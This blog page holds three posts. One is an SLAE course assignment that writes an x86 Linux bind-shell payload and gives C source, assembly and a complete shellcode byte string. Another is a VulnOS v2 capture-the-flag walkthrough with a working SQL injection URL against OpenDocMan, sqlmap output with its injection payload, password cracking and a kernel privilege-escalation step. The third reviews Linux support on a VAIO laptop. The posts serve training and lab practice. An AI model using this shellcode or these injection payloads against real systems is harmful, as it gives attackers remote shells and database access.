Tuesday 31 May 2016

x86 bind shell from scratch

Okay...!  Here we go, part one of seven posts for my SLAE (http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/) assignments which I'll be posting on here.

The first assignment task is to create a shell bind TCP shellcode, where the port number is easily configurable, should be fairly straighforward.


Firstly, I create a quick C program


1:  #include <stdio.h>  
2:  #include <stdlib.h>  
3:  #include <sys/socket.h>  
4:  #include <arpa/inet.h>  
5:  void main(void)  
6:  {  
7:    int socket_handle;  
8:    struct sockaddr_in addr;  
9:    addr.sin_family = AF_INET;  
10:    addr.sin_addr.s_addr = INADDR_ANY;       
11:    addr.sin_port = 0x5c11;       // 4444  
12:    socket_handle = socket(AF_INET, SOCK_STREAM, 0);  
13:    bind(socket_handle, &addr, sizeof(addr));  
14:    listen(socket_handle, 0);  
15:    int connection = accept(socket_handle, 0, 0);  
16:    dup2(connection, 2);  
17:    dup2(connection, 1);  
18:    dup2(connection, 0);  
19:    execve("/bin/sh", 0, 0);  
20:  }  

...compile and run it through strace to capture the relevant system calls and parameters - also catching the parameters in raw mode, helps to figure out what's going on.  I've snipped out all but the unnecessary calls in the below output;

 socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3  
 bind(3, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("0.0.0.0")}, 16) = 0  
 listen(3, 0)              = 0  
 accept(3, NULL, NULL)          = 4  
 dup2(4, 2)               = 2  
 dup2(4, 1)               = 1  
 dup2(4, 0)               = 0  
 execve("/bin/sh", NULL, NULL)   
 paul@SLAE001:~$ strace -e raw=all ./bind  
 ...  
 socket(0x2, 0x1, 0)           = 0x3  
 bind(0x3, 0xbfdb6bcc, 0x10)       = 0  
 listen(0x3, 0)             = 0  
 accept(0x3, 0, 0)            = 0x4  
 dup2(0x4, 0x2)             = 0x2  
 dup2(0x4, 0x1)             = 0x1  
 dup2(0x4, 0)              = 0  
 execve(0x8048700, 0, 0)         = 0  
 ...  


After this, I built a first draft nasm file - ignoring optimisations & use of null chars, for now.

1:  ; bind.asm  
2:  ; Paul Heneghan  
3:  global _start  
4:  section .text  
5:    _start:  
6:    ; socket via socketcall  
7:      mov   ebx, 0x1           ; socketcall number 1  
8:                                    ; int socket(int domain, int type, int protocol);  
9:      push  0x0                ; socket arg 3  
10:      push  0x1                ; socket arg 2  
11:      push  0x2                    ; socket arg 1  
12:      mov   ecx, esp          ; socketcall args  
13:      mov   eax, 0x66           ; system call number 66  
14:                                    ;int socketcall(int call, unsigned long *args);  
15:      int   0x80  
16:      mov          edx, eax          ; save sockfd for later  
17:       ; bind via socketcall  
18:         mov   ebx, 0x2            ; socketcall number 2  
19:                                       ;int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);  
20:         push     0x0                ;ip addr = any  
21:         push     word      0x5c11               ;port 115c = 4444  
22:         push     word     0x2                    ;family inet = 2  
23:         mov          ecx, esp  
24:         push     0x10               ; bind arg 3  
25:         push     ecx                ; bind arg 2  
26:         push      eax                    ; bind arg 1  
27:         mov   ecx, esp          ; pointer to bind args  
28:         mov   eax, 0x66           ; system call number 66  
29:                                       ;int socketcall(int call, unsigned long *args);  
30:      int   0x80  
31:       ; listen via socketcall  
32:         mov   ebx, 0x4       ; socketcall number 4  
33:                                       ;int listen(int sockfd, int backlog);  
34:         push      0x0                ; listen arg 2  
35:         push      edx                    ; listen arg 1  
36:         mov      ecx, esp  
37:         mov   eax, 0x66       ; system call number 66  
38:                                       ;int socketcall(int call, unsigned long *args);  
39:         int   0x80  
40:       ; accept via socketcall  
41:         mov   ebx, 0x5       ; socketcall number 5  
42:                                       ;int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);   
43:         push     0x0                ; bind arg 3  
44:         push     0x0                ; bind arg 2  
45:         push      edx                    ; bind arg 1  
46:         mov   ecx, esp          ; pointer to bind args  
47:         mov   eax, 0x66       ; system call number 66  
48:                                       ;int socketcall(int call, unsigned long *args);  
49:         int   0x80  
50:         mov          ebx, eax          ; save connection fd for later  
51:       ; dup2  
52:         mov   eax, 0x3f          ; int dup2(int oldfd, int newfd);  
53:         ;mov          ebx,  
54:         mov   ecx, 0x2          ; stderr  
55:         int   0x80  
56:       ; dup2  
57:         mov   eax, 0x3f          ; int dup2(int oldfd, int newfd);  
58:         ;mov          ebx,  
59:         mov   ecx, 0x1          ; stdout  
60:         int   0x80  
61:       ; dup2  
62:         mov   eax, 0x3f          ; int dup2(int oldfd, int newfd);  
63:         ;mov          ebx,  
64:         mov   ecx, 0x0          ; stdin  
65:         int   0x80  
66:       ; execve  
67:            mov eax, 0xb               ; int execve(const char *filename, char *const argv[], char *const envp[]);  
68:            mov ebx, shell  
69:            mov ecx, 0x0  
70:            mov edx, 0x0  
71:            int 0x80  
72:  section .data  
73:       shell: db "/bin/sh"  
74:       mlen: equ $-shell  

Okay so obviously this isn't going to work as shellcode: the data section needs to go, the nulls need to go and I might as well loop around the dup2 operations to tighten it up a bit.

The second draft is here: https://github.com/pabb85/SLAE/blob/master/bind.asm

This builds nicely, as shown below - gives a shellcode of 99 bytes which I guess is *not bad* for a first attempt.  The port is easily configurable by altering line 30, where 0x5c11 is equivalent to 4444 (remember to flip the bytes).

That is assignment one complete, I'll move onto the next task and spend some time looking at optimisations also.

 paul@SLAE001:~$ nasm -f elf32 bind.asm -o bind.o  
 paul@SLAE001:~$ ld bind.o -o bind  
 paul@SLAE001:~$ objdump -d ./bind|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' 
"\x31\xc0\x31\xdb\x31\xf6\xb3\x01\x56\x6a\x01\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x89\xc2\xb3\x02\x56\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x6a\x10\x51\x50\x89\xe1\xb0\x66\xcd\x80\xb3\x04\x56\x52\x89\xe1\xb0\x66\xcd\x80\xb3\x05\x56\x56\x52\x89\xe1\xb0\x66\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41\x83\xf9\x03\x75\xf6\xb0\x0b\x56\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xcd\x80"  
 paul@SLAE001:~$ perl -e 'print "\x31\xc0\x31\xdb\x31\xf6\xb3\x01\x56\x6a\x01\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x89\xc2\xb3\x02\x56\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x6a\x10\x51\x50\x89\xe1\xb0\x66\xcd\x80\xb3\x04\x56\x52\x89\xe1\xb0\x66\xcd\x80\xb3\x05\x56\x56\x52\x89\xe1\xb0\x66\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41\x83\xf9\x03\x75\xf6\xb0\x0b\x56\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xcd\x80";' | wc -c  
 99  

End result: using my bind shell shellcode :-)


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification, Student ID:  SLAE-469.


Friday 27 May 2016

VAIO Z Flip - Linux compatibility?

Hello there - so I wanted a new convertible laptop/tablet with a bit of grunt and looked around at a few options, namely the Thinkpad X1 Yoga, Lenovo Yoga 900, etc.  I was looking for something that would have a decent amount of battery life, support linux natively and run VM's with no issues.

After hunting around for reviews, I finally settled on a VAIO Z Flip, thanks to Alex Yepez for shipping it over to me as the decent spec models (16GB, 512GB SSD, 3.3Ghz Skylake i7) are only available in an old colony.  It's a good balance of specification, build quality (carbon fibre and aluminium body) and price - BUT...  There are not many posts about it's linux support and pretty bleeding-edge hardware, so it was a bit of a gamble.

I can report that, after trying a few different distros, I've settled on Ubuntu as the most supportive of the hardware - everything I've tested so far seems to be good - with a few caveats;


  • Secure boot - before you can install, you'll need to start up the default Windows 10 Pro build and go into control panel to set it to boot into the UEFI and from there disable secure boot and allow the system to boot from USB - after that it's just F3 while booting to get to your UEFI boot menu and choose USB/etc.
  • Restore/Recovery partitions - The disk came partitioned into four partitions, one for the OS and three for various recovery tasks...  They can go.  I did take a bit-level backup using the ever-reliable clonezilla to an SMB share on my desktop before zapping the initial build also, just in case.
  • Your first boot after installing will fail.  It did for me, every time.  Just drop into another tty (CTRL&ALT&F1) and do a full apt-get update & dist-upgrade to bring the system up the date and reboot.
  • The Intel WiFi firmware isn't to be found on every installer disk - be prepared with a USB nic (I prefer the apple ones, the asix kenel module is pretty ubiquitous and very stable in my experience) to do the initial setup.
  • For the Intel Iris 550, there's a bug in the libdrm package found on most distros, the fix is now available and has been built into version 2.46.8 which can be added either using one of the various third-party PPA's or by enabling the pre-release/development packages and updating - the Iris graphics should be fully supported after that.
  • Window manager choice - tricky one this because I've never liked the Ubuntu Unity interface but after trying out a handful of WM's - gnome, cinnamon, etc. - Unity wins for touchscreen use, hands down.  Clearly the default pink/purple theme has to go but that's easy enough.  If you want good touchscreen support for in tablet mode - learn to like Unity...



Anyway - I thought I'd put this out there for anybody considering a convertible, wanting to run linux and considering this model of laptop.  I'll probably add a few updates to this if I find anything else useful to share.

UPDATE:  It seems that the newer kernels in the devel repos break certain nice things like suspend, the brightness hotkeys and the touchscreen, better to stay in the main repos and deal with the fact that the graphics isn't recognised fully until libdrm gets updated.

ANOTHER UPDATE: After wrestling with Ubuntu for a bit I've figured out there are a few 'quirks' that need ironing out. The touchscreen shits itself every now and again so needs a cronjob to fix, add a soft keyboard, screen flip toggle soft button, etc. Added a few simple scripts to correct the bugs and so far, looking good. Will image the build and keep testing. Battery life looks good enough but will start power tuning soon and see if it can be improved. Update to follow...



Friday 20 May 2016

Cracking VulnOS v2 [spoiler alert]

So, I had a bit of free time this afternoon and set about attacking the VulnOS v2 from c4b3rw0lf - it was a fun, realistic challenge that I would recommend to anybody with basic to intermediate skills.  It should take a couple of hours tops.

If you would rather have a go yourself first, don't read on.  Grab a copy of the virtual machine from: https://www.vulnhub.com/entry/vulnos-2,147/ - load it into VirtualBox and hack away.

A note that while you are setting it up, you might want to change the configured network adapter - mine didn't work with the preconfigured host-only network so I just flipped it onto bridged.  Easy to figure out which IP was assigned to the VM this way by checking your router/DHCP logs.

---SPOILERS BELOW---

Okay so, I've set up the VM, booted it & figured out the IP that I'm targeting, the mission is described as the following: "Your assignment is to pentest a company website, get root of the system and read the final flag", so while I kick off a quick nmap in the background, I browse to the port 80 and see this;


Okay - a basic intro, leading to the main challenge website...



While checking out the website, letting Burp's spider and passive scanner do it's stuff, I fire up dirbuster and see what it can find - a lot, as it happens...  over 700 results, mostly junk.  The most interesting part so far came from manually crawling the site and hitting on some 'hidden' text under the Documentation section...


Black text on a black background... Hardly great security but easy to miss if you're checking through the sections too quickly.



Anyway, jabcd0cs is *interesting* because we have some known issues on this exact version of OpenDocMan...


According to the text file (BTW, thanks to High-Tech Bridge Security Research Lab - https://www.htbridge.com/advisory/ for the discovery and write-up), one of the two issues disclosed is a nice SQL injection with the following example;

 http://[host]/ajax_udf.php?q=1&add_value=odm_user%20UNION%20SELECT%201,v  
 ersion%28%29,3,4,5,6,7,8,9  

This works!  We get the MySQL version echo'ed back.


Nice.  Time to crank up sqlmap and cheat be efficient!

 root@kali:~# sqlmap -u 'http://192.168.1.53/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user'  
      _  
  ___ ___| |_____ ___ ___ {1.0.5.0#dev}  
 |_ -| . | |   | .'| . |  
 |___|_ |_|_|_|_|__,| _|  
    |_|      |_|  http://sqlmap.org  
 [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program  
 [*] starting at 18:01:10  
 [18:01:11] [INFO] resuming back-end DBMS 'mysql'   
 [18:01:11] [INFO] testing connection to the target URL  
 [18:01:11] [INFO] heuristics detected web page charset 'ISO-8859-2'  
...sqlmap output doing it's thing snipped from here...
 ---  
 Parameter: add_value (GET)  
   Type: UNION query  
   Title: MySQL UNION query (33) - 9 columns  
   Payload: q=1&add_value=odm_user UNION ALL SELECT CONCAT(0x7171786a71,0x58726c6f484b4c4c5765797753754e7954724a7a774e4b58586150686a55696e736c7447494c4b42,0x716a786b71),33,33,33,33,33,33,33,33#  
 ---  
 [18:01:11] [INFO] the back-end DBMS is MySQL  
 web server operating system: Linux Ubuntu  
 web application technology: Apache 2.4.7, PHP 5.5.9  
 back-end DBMS: MySQL 5  
 [18:01:11] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.1.53'  
 root@kali:~#   

Awesome.  Now, first things that I tried were the --os-cmd, --os-shell, --os-pwn but no luck - the DB user didn't have permissions to write anywhere in the webroot.  Thinking I might have hit a dead end, I set sqlmap to dump everything and set about looking at the other ports on the machine.

Other ports were SSH and (oddly) an IRC server.  I connected to the IRC server, no bots, no channels, no sploits.  Similarly with the SSH server, no spoilts and no default/easily-guessed accounts.

In the meantime, sqlmap had dumped the MySQL hashes  and cracked three user accounts with a familiar password;


Unfortunately none of these MySQL account passwords matched the system level passwords - I couldn't use them to log in via SSH...  Before long, sqlmap dumped another interesting table and offered to crack some more passwords...


It only cracked the one password (guest:guest) - which didn't match a system account either, so no SSH yet. Knowing that it had done this and so proven the hashing algorithm, I stuck them into John hoping that it would do a better job - and it did.


Peter+Winter didn't work but the webmin account gives me an SSH shell - onto the privesc!


At this point, I got a bit sidetracked into looking for system misconfigurations and spent some time running unix-privesc-check and reviewing the (considerable) stdout...  Nothing until I realised that the kernel version was vulnerable to the 'ofs.c' exploit (thanks to rebel - CVE-2015-1328).  Last year I had started work on a script to do the logic on lookups of which kernel exploits work based upon uname output...  Once I get some time, I'll publish this - that would of helped in this situation.


So... Pwn'd!  Remember that if, like me, you were compiling the exploit on a 64-bit platform, you'll need to install libc6-dev-i386 and pass the -m32 flag to gcc before scp'ing the file over to the VulnOS box.


Update:  as per request from FX, the unix-privesc-check script can be found at http://pentestmonkey.net/tools/audit/unix-privesc-check - thanks to Pentest Monkey and the ofs.c kernel exploit used can be found here: https://www.exploit-db.com/exploits/37292/ - thanks to rebel!